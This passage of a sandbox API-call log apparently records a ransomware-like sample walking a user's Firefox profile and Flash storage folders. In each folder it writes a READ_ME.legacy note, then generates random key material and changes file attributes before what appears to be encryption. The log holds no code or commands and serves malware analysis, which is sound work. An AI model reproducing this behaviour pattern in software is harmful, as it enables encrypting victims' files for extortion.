0x574b70 [0200.400] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56dc90 [0200.400] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56dc90 | out: hHeap=0x520000) returned 1 [0200.401] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f63520 [0200.401] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x30d4fb0 [0200.401] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d4fb0 | out: hHeap=0x520000) returned 1 [0200.401] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20180 [0200.401] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20180 | out: hHeap=0x520000) returned 1 [0200.401] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f63520 | out: hHeap=0x520000) returned 1 [0200.401] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b70 | out: hHeap=0x520000) returned 1 [0200.401] FindNextFileW (in: hFindFile=0x30d4e30, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23c2e4c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x41de8bd2, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xfd376ea2, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.401] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f67210 | out: hHeap=0x520000) returned 1 [0200.401] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0200.401] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x2f78d48 [0200.401] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0200.401] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f66c98 [0200.401] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f78d48 | out: hHeap=0x520000) returned 1 [0200.401] GetLastError () returned 0x0 [0200.401] SetLastError (dwErrCode=0x0) [0200.401] GetLastError () returned 0x0 [0200.401] SetLastError (dwErrCode=0x0) [0200.401] GetLastError () returned 0x0 [0200.401] SetLastError (dwErrCode=0x0) [0200.401] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0200.401] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56db88 [0200.401] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56db88 | out: hHeap=0x520000) returned 1 [0200.401] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f634d0 [0200.402] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x30d4970 [0200.402] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d4970 | out: hHeap=0x520000) returned 1 [0200.402] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20168 [0200.402] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20168 | out: hHeap=0x520000) returned 1 [0200.402] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f634d0 | out: hHeap=0x520000) returned 1 [0200.402] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0200.402] FindNextFileW (in: hFindFile=0x30d4e30, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23c2e4c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x246c9b2, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x246c9b2, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="chrome", cAlternateFileName="")) returned 1 [0200.402] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f66c98 | out: hHeap=0x520000) returned 1 [0200.402] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553d30 [0200.402] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x2f78ff0 [0200.402] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553d30 | out: hHeap=0x520000) returned 1 [0200.402] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f675f8 [0200.402] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f78ff0 | out: hHeap=0x520000) returned 1 [0200.402] GetLastError () returned 0x0 [0200.402] SetLastError (dwErrCode=0x0) [0200.402] GetLastError () returned 0x0 [0200.402] SetLastError (dwErrCode=0x0) [0200.402] GetLastError () returned 0x0 [0200.402] SetLastError (dwErrCode=0x0) [0200.402] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x2f6aeb0 [0200.402] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f63750 [0200.402] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x2f6a208 [0200.402] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3538 [0200.403] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0200.403] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553c10 [0200.403] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x2f78dd0 [0200.403] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553c10 | out: hHeap=0x520000) returned 1 [0200.403] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f67210 [0200.403] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f78dd0 | out: hHeap=0x520000) returned 1 [0200.403] GetLastError () returned 0x0 [0200.403] SetLastError (dwErrCode=0x0) [0200.403] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x578260 [0200.403] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f67210 | out: hHeap=0x520000) returned 1 [0200.403] GetLastError () returned 0x0 [0200.403] SetLastError (dwErrCode=0x0) [0200.403] GetLastError () returned 0x0 [0200.403] SetLastError (dwErrCode=0x0) [0200.403] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x30f3998 [0200.403] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c44 [0200.405] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f3998 | out: hHeap=0x520000) returned 1 [0200.405] WriteFile (in: hFile=0x1c44, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0200.406] CloseHandle (hObject=0x1c44) returned 1 [0200.406] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578260 | out: hHeap=0x520000) returned 1 [0200.406] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3448 | out: hHeap=0x520000) returned 1 [0200.406] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3538 | out: hHeap=0x520000) returned 1 [0200.406] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f6a208 | out: hHeap=0x520000) returned 1 [0200.406] FindNextFileW (in: hFindFile=0x30d4e30, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x41de8bd2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x41ea4c3c, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x41ea601c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="moz-safe-about+home", cAlternateFileName="MOZ-SA~1")) returned 1 [0200.406] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f675f8 | out: hHeap=0x520000) returned 1 [0200.406] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0200.406] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x2f79320 [0200.406] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0200.407] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f66978 [0200.407] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f79320 | out: hHeap=0x520000) returned 1 [0200.407] GetLastError () returned 0x0 [0200.407] SetLastError (dwErrCode=0x0) [0200.407] GetLastError () returned 0x0 [0200.407] SetLastError (dwErrCode=0x0) [0200.407] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x5784b0 [0200.407] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f66978 | out: hHeap=0x520000) returned 1 [0200.407] GetLastError () returned 0x0 [0200.407] SetLastError (dwErrCode=0x0) [0200.407] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0200.407] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0200.407] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0200.407] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0200.407] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x30f3e20 [0200.407] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f632c8 [0200.407] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x30f3f08 [0200.407] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0200.407] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34c8 [0200.407] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553700 [0200.407] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x2f78908 [0200.407] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553700 | out: hHeap=0x520000) returned 1 [0200.408] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f68020 [0200.408] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f78908 | out: hHeap=0x520000) returned 1 [0200.408] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x578ba0 [0200.408] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f68020 | out: hHeap=0x520000) returned 1 [0200.408] GetLastError () returned 0x0 [0200.408] SetLastError (dwErrCode=0x0) [0200.408] GetLastError () returned 0x0 [0200.408] SetLastError (dwErrCode=0x0) [0200.408] GetLastError () returned 0x0 [0200.408] SetLastError (dwErrCode=0x0) [0200.408] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c53a0 [0200.408] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c44 [0200.420] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c53a0 | out: hHeap=0x520000) returned 1 [0200.420] WriteFile (in: hFile=0x1c44, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0200.421] CloseHandle (hObject=0x1c44) returned 1 [0200.421] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578ba0 | out: hHeap=0x520000) returned 1 [0200.421] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34c8 | out: hHeap=0x520000) returned 1 [0200.421] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3448 | out: hHeap=0x520000) returned 1 [0200.421] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f3f08 | out: hHeap=0x520000) returned 1 [0200.421] FindNextFileW (in: hFindFile=0x30d4e30, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd376ea2, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xfd376ea2, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xfd376ea2, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0200.421] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784b0 | out: hHeap=0x520000) returned 1 [0200.421] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0200.421] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x2f79100 [0200.421] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0200.421] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f68020 [0200.421] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f79100 | out: hHeap=0x520000) returned 1 [0200.421] GetLastError () returned 0x0 [0200.421] SetLastError (dwErrCode=0x0) [0200.421] GetLastError () returned 0x0 [0200.421] SetLastError (dwErrCode=0x0) [0200.421] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x578388 [0200.421] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f68020 | out: hHeap=0x520000) returned 1 [0200.421] GetLastError () returned 0x0 [0200.421] SetLastError (dwErrCode=0x0) [0200.421] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f63480 [0200.422] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f63480 | out: hHeap=0x520000) returned 1 [0200.422] FindNextFileW (in: hFindFile=0x30d4e30, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd376ea2, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xfd376ea2, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xfd376ea2, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0200.422] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c53a0 [0200.422] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f67788 | out: hHeap=0x520000) returned 1 [0200.422] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4a58 | out: hHeap=0x520000) returned 1 [0200.422] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f63228 | out: hHeap=0x520000) returned 1 [0200.422] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\#AppContainer\\aa.online-metrix.net\\fpc.swf\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6c6f48d, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c903f8, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x7c9b353, ftLastWriteTime.dwHighDateTime=0x1d511a8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d4cb0 [0200.422] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578388 | out: hHeap=0x520000) returned 1 [0200.422] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553d30 [0200.422] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x2f797e8 [0200.422] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553d30 | out: hHeap=0x520000) returned 1 [0200.422] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f66fb8 [0200.422] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f797e8 | out: hHeap=0x520000) returned 1 [0200.422] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x578700 [0200.422] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f66fb8 | out: hHeap=0x520000) returned 1 [0200.422] GetLastError () returned 0x12 [0200.422] SetLastError (dwErrCode=0x12) [0200.422] GetLastError () returned 0x12 [0200.422] SetLastError (dwErrCode=0x12) [0200.422] GetLastError () returned 0x12 [0200.423] SetLastError (dwErrCode=0x12) [0200.423] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0200.423] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56de48 [0200.423] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56de48 | out: hHeap=0x520000) returned 1 [0200.423] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f63070 [0200.423] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x30d4f70 [0200.423] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d4f70 | out: hHeap=0x520000) returned 1 [0200.423] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20180 [0200.423] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20180 | out: hHeap=0x520000) returned 1 [0200.423] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f63070 | out: hHeap=0x520000) returned 1 [0200.423] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0200.423] FindNextFileW (in: hFindFile=0x30d4cb0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6c6f48d, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c903f8, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x7c9b353, ftLastWriteTime.dwHighDateTime=0x1d511a8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.423] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578700 | out: hHeap=0x520000) returned 1 [0200.423] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553d30 [0200.423] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x2f78bb0 [0200.423] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553d30 | out: hHeap=0x520000) returned 1 [0200.423] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f67080 [0200.423] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f78bb0 | out: hHeap=0x520000) returned 1 [0200.423] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x578138 [0200.423] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f67080 | out: hHeap=0x520000) returned 1 [0200.423] GetLastError () returned 0x12 [0200.423] SetLastError (dwErrCode=0x12) [0200.423] GetLastError () returned 0x12 [0200.424] SetLastError (dwErrCode=0x12) [0200.424] GetLastError () returned 0x12 [0200.424] SetLastError (dwErrCode=0x12) [0200.424] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0200.424] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56dc38 [0200.424] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56dc38 | out: hHeap=0x520000) returned 1 [0200.424] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f63110 [0200.424] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x30d4f70 [0200.424] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d4f70 | out: hHeap=0x520000) returned 1 [0200.424] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e200d8 [0200.424] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e200d8 | out: hHeap=0x520000) returned 1 [0200.424] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f63110 | out: hHeap=0x520000) returned 1 [0200.424] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0200.424] FindNextFileW (in: hFindFile=0x30d4cb0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c9b353, ftCreationTime.dwHighDateTime=0x1d511a8, ftLastAccessTime.dwLowDateTime=0x7c9b353, ftLastAccessTime.dwHighDateTime=0x1d511a8, ftLastWriteTime.dwLowDateTime=0x7c9b353, ftLastWriteTime.dwHighDateTime=0x1d511a8, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0200.424] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578138 | out: hHeap=0x520000) returned 1 [0200.424] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553700 [0200.424] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x2f793a8 [0200.424] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553700 | out: hHeap=0x520000) returned 1 [0200.424] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f66bd0 [0200.424] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f793a8 | out: hHeap=0x520000) returned 1 [0200.424] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x578138 [0200.424] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f66bd0 | out: hHeap=0x520000) returned 1 [0200.424] GetLastError () returned 0x12 [0200.424] SetLastError (dwErrCode=0x12) [0200.424] GetLastError () returned 0x12 [0200.425] SetLastError (dwErrCode=0x12) [0200.425] GetLastError () returned 0x12 [0200.425] SetLastError (dwErrCode=0x12) [0200.425] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f62e40 [0200.425] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f62e40 | out: hHeap=0x520000) returned 1 [0200.425] FindNextFileW (in: hFindFile=0x30d4cb0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6c75633, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c75633, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c85414, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x4c, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="session.sol", cAlternateFileName="")) returned 1 [0200.425] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578138 | out: hHeap=0x520000) returned 1 [0200.425] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553d30 [0200.425] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x2f78bb0 [0200.425] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553d30 | out: hHeap=0x520000) returned 1 [0200.425] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f67530 [0200.425] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f78bb0 | out: hHeap=0x520000) returned 1 [0200.425] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x578260 [0200.425] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f67530 | out: hHeap=0x520000) returned 1 [0200.425] GetLastError () returned 0x12 [0200.425] SetLastError (dwErrCode=0x12) [0200.425] GetLastError () returned 0x12 [0200.425] SetLastError (dwErrCode=0x12) [0200.425] GetLastError () returned 0x12 [0200.425] SetLastError (dwErrCode=0x12) [0200.425] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f62f30 [0200.425] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f62f30 | out: hHeap=0x520000) returned 1 [0200.425] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x110) returned 0x57eb48 [0200.425] FindNextFileW (in: hFindFile=0x30d4cb0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6c75633, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c75633, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c85414, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x4c, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="session.sol", cAlternateFileName="")) returned 0 [0200.426] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x110) returned 0x57ee90 [0200.426] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c39d8 [0200.426] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0200.426] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0200.426] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0200.426] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\#AppContainer\\aa.online-metrix.net\\fpc.swf\\session.sol", dwFileAttributes=0x80) returned 1 [0200.426] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x110) returned 0x57e800 [0200.426] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x196) returned 0x5646a8 [0200.426] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57e800 | out: hHeap=0x520000) returned 1 